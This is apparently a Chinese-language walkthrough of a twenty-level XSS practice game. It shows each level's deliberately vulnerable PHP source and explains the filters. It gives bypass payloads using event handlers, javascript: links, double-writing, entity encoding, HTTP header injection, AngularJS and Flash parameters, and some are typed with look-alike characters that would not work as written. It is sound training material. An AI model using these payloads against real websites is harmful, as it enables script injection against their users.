在线地址:http://test.xss.tv/
实验环境也可以本地搭建,不过需要php+mysql的环境
源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip
我选择使用本地环境搭建,这样好进行源码分析
level1
<?php
ini_set("display_errors", 0); //不显示错误报告
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
没有进行任何过滤
<script>alert(1)</script>
level2
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>
使用get方式接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),
这个函数输出时把预定义的字符转换为 HTML 实体,等于<不能用
payload : " οnmοuseοver=alert(1)>需要鼠标划过输入框 采用js事件
test"><script>alert(1)</script> 提前闭合input标签,使其不影响弹窗代码
level3
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
这里比前一提更严格,我们输入的时候<就会被转义,但是默认没有过滤单引号,所以采用事件来进行过滤
payload : ' οnmοuseοver=alert(1)//
level4
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
这里将 '<' 、 '>' 都替换成空,转换时区分大小写,然后在经过htmlspecialchars()函数,将一些预定义符号转换为html实体。
所以我们要做的就是在没有<>的情况下构造payload
payload : " οnmοuseοver=alert(1)//
" οnfοcus=alert(1) autofocus="
Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。
level5
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
发现它把script 和 on 中加入了下划线。
那么鼠标事件,就不能用了。
可以考虑下用链接(href),即在链接中调用js
不过没有过滤尖括号<>,这里使用伪协议来构造payload:
payload:"> <a href="javascript:alert(1)">ha</a>
level6
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
这里相比上一题没有使用大小写过滤
js对大小写十分敏感
payload: "> <Script>alert(1)</script> //
level7
<?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
分析代码,不仅大小写不能用了,script,on,src ,data ,href 都直接转换成空,
但只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过
构造payload:"><sscriptcript>alert(1)</sscriptcript>
level8
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
相比上一题中,此题" 被编码,但是尖括号<> ,单引号 ' ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中,
属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,
javascript会被替换成javasc_rpt,我们使用r来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
伪协议后面可以使用URL编码等进行编码。
payload:javascript:alert(1)
level9
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?>
与上题大同小异,不同的是多了自己自动检测url,如果发现没有带http:// 内容则会显示不合法,
payload:javascript:alert(1)//http://xxx.com //利用注释
javascript:alert('http://')
level10
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,
或许我们可以从隐藏的输入框下手
payload:keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" οnmοuseοver="alert(1)
keyword = test&t_sort="type="text" οnmοuseοver=alert`1`
level11
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; //告诉我们是从哪个服务器链接过来的 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
str11=
_SERVER['HTTP_REFERER']; 考察的是http头部的xss注入,开始抓包,burp修改相应的字段,构造http头部Referer的payload:
Referer: " οnmοuseοver=alert(1) type="text"
Referer: " οnclick="alert(1) type="text"
burp抓包,改Referer头,forward发包
level12
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
User-Agent的http头部注入,burp抓包,构造http头部User-Agent的payload:
User-Agent: " οnmοuseοver=alert(1) type="text"
User-Agent: " οnclick="alert(1) type="text"
leel13
<?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
在客户端保存一个名为password的Cookie,他的值为$password,
在程序中可以用$_COOKIE['password']来获取值,
time()+3600指的是该cookie的生存周期,秒为位,像这这里是指1个小时(60秒*60分钟)
$str33最初是由cookie过滤< > 而来,应该是cookie类型的xss注入,直接构造payload:
Cookie: " οnmοuseοver=alert(1) type="text"
Cookie: " οnclick="alert(1) type="text"
level14
center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
该链接到的地址服务器崩了,就不写了
主要就是修改图片的exif信息来构造xss,修改信息的工具为exiftool
level15
<?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
这一关考的angular js的知识,稍微百度一下相关知识,发现ng-include有包含文件的意思,也就相当于php里面的include
注:ng-include里面引用其他页面还要再加单引号,即双引号里面再加单引号
如:<div ng-include="'tpl/header.html'"></div>
发现可以包含第一关的页面,构造payload:
src='level1.php?name=<img src=x οnerrοr=alert(1)>'
src=level1.php?name=1'window.alert(1)
level16
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?>
 表示空格。是javascript里面的转义字符
如果你用空格键产生空格,空格是不会累加的(只算1个)。要使用html实体表示才可累加
利用%0d、%0a(回车换行)实现xss攻击绕过
<img%0dsrc=1%0dοnerrοr=alert(1)>
<iframe%0asrc=x%0dοnmοuseοver=alert`1`></iframe>
<svg%0aοnlοad=alert`1`></svg>
level17
?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
arg01和arg02 被htmlspecialchars过滤了,通过οnmοuseοver='alert(1)'绕过。
arg01=a&arg02=b%20οnmοuseοver=alert(1)
构造成功后:<embed src=xsf01.swf?a=b οnmοusedοwn=alert`1` width=100% heigth=100%>
leve18
<?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
和上题一样:arg01=a&arg02=b%20οnmοuseοver=alert'1'
level19
先定位getURL函数
sIFR.menuItems.push(new ContextMenuItem("Follow link",function() { getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget); }),new ContextMenuItem("Open link in new window",function() { getURL(sIFR.instance.primaryLink,"_blank"); })); 再追踪到sIFR的内容,省略了一些代码,关键代码如下: if(_loc5_ && _root.version != sIFR.VERSION) { _loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version); }
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
}
大体意思是要geturl得用a标签吧。
getURL
arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss%3C/a%3E
arg01=version&arg02=<a href="javascript:alert(document.domain)">xss</a>
level20
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null); });
ExternalInterface.call则调用js方法(flash播放器是否位于提供外部接口的容器中)
ZeroClipboard.dispatch 复制剪切板的内容,中间由flash进行中转保证兼容主流浏览器,具体做法就是使这个透明的flash漂浮在复制按钮之上
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(/xss/)//%26width%26heightarg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(/xss/)//&width&height